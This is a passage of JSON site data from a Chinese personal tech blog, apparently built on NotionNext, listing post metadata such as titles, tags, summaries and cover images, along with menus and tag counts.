2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"041a3743-f888-4476-b947-fff856745c02","password":"d29c88a2bd1f06fcc58605a0261679a7","date":{"start_date":"2021-11-05"},"type":"Post","category":"未发布","slug":"article/example-2","tags":["开发","工具"],"summary":"本文需要输入密码才可访问,密码: 123456","title":"加锁文章2 - 密码123456","status":"Invisible","publishDate":1636070400000,"publishDay":"Nov 5, 2021","lastEditedDate":"2024-03-22T14:50:54.674Z","lastEditedDay":"Mar 22, 2024","fullWidth":false,"pageIcon":"","pageCover":"https://images.unsplash.com/photo-1599318011235-904154a09c36?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=041a3743-f888-4476-b947-fff856745c02","pageCoverThumbnail":"https://images.unsplash.com/photo-1599318011235-904154a09c36?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=041a3743-f888-4476-b947-fff856745c02&width=800&fmt=webp","tagItems":[{"name":"开发","color":"pink"},{"name":"工具","color":"pink"}]},{"id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-3","tags":["新闻","推荐"],"summary":"仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容。","title":"EMPTY-ARTICLE-3","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:55.364Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1542907299-8bd21f11f540?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=47aba706-2cde-4eef-9fb8-0cdd0f7805c9","pageCoverThumbnail":"https://images.unsplash.com/photo-1542907299-8bd21f11f540?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=47aba706-2cde-4eef-9fb8-0cdd0f7805c9&width=800&fmt=webp","tagItems":[{"name":"新闻","color":"orange"},{"name":"推荐","color":"red"}],"password":""},{"id":"93032c73-435f-4a73-8087-b71ecff3a86b","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-4","tags":["健康","推荐"],"summary":"如果您的Notion数据库已经修改了内容,发现网站内容还是旧的,说明绑定NotionPageID失败了,请重新检查Vercel后台是否正确配置好ID,并尝试重新部署。","title":"绑定成功测试-4","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:59.318Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1671726203449-34e89df45211?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=93032c73-435f-4a73-8087-b71ecff3a86b","pageCoverThumbnail":"https://images.unsplash.com/photo-1671726203449-34e89df45211?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=93032c73-435f-4a73-8087-b71ecff3a86b&width=800&fmt=webp","tagItems":[{"name":"健康","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"973ede9c-1a10-4482-be06-324fd481d34f","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-5","tags":["健康","推荐"],"summary":"仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容","title":"空白文章5","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:53.512Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1495446815901-a7297e633e8d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=973ede9c-1a10-4482-be06-324fd481d34f","pageCoverThumbnail":"https://images.unsplash.com/photo-1495446815901-a7297e633e8d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=973ede9c-1a10-4482-be06-324fd481d34f&width=800&fmt=webp","tagItems":[{"name":"健康","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"163026f4-445a-4595-936d-c0df491c3776","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-6","tags":["金钱","推荐"],"summary":"仅供列表展示、文章无内容","title":"空白文章6","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:50.804Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random/720x480/?encryption&t=163026f4-445a-4595-936d-c0df491c3776","pageCoverThumbnail":"https://source.unsplash.com/random/720x480/?encryption&t=163026f4-445a-4595-936d-c0df491c3776","tagItems":[{"name":"金钱","color":"green"},{"name":"推荐","color":"red"}],"password":""},{"id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-7","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容;\n这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。","title":"空白文章7","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:57.241Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":""},{"id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-8","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容","title":"空白文章8","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:20:08.239Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1573164713988-8665fc963095?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=b4a852c3-8bab-43ef-b748-8dec9d0940f9","pageCoverThumbnail":"https://images.unsplash.com/photo-1573164713988-8665fc963095?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=b4a852c3-8bab-43ef-b748-8dec9d0940f9&width=800&fmt=webp","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":""},{"id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-9","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容","title":"空白文章9","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:20:06.142Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1511632765486-a01980e01a18?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=463a12f0-d5d5-4492-bb0f-8058cea32a41","pageCoverThumbnail":"https://images.unsplash.com/photo-1511632765486-a01980e01a18?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=463a12f0-d5d5-4492-bb0f-8058cea32a41&width=800&fmt=webp","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":""},{"id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-10","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容、文章描述摘要过长时会被截断,仅显示前面几行内容,根据主题决定。这是一个示范","title":"空白文章10 标题注意不应该过长,否则影响显示效果,这是一个示范","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:20:03.738Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1524601500432-1e1a4c71d692?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=95ddf5c1-569e-4c61-a1e8-6507fe59fc97","pageCoverThumbnail":"https://images.unsplash.com/photo-1524601500432-1e1a4c71d692?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=95ddf5c1-569e-4c61-a1e8-6507fe59fc97&width=800&fmt=webp","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":""},{"id":"7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","icon":"fas fa-home","date":{"start_date":"2022-05-18"},"type":"Page","slug":"/","title":"主页","status":"Published","category":"","publishDate":1652832000000,"publishDay":"May 18, 2022","lastEditedDate":"2024-01-18T17:40:34.961Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"password":""},{"id":"7b6c5022-b0db-4dc3-a38e-47cefabe2caf","icon":"fas fa-search","date":{"start_date":"2021-07-02"},"type":"Menu","slug":"/search","tags":["文字"],"summary":"跳转到’/search’搜索页的菜单","title":"搜索","status":"Invisible","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.112Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"文字","color":"brown"}],"to":"/search","name":"搜索","password":""},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]},{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}],"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 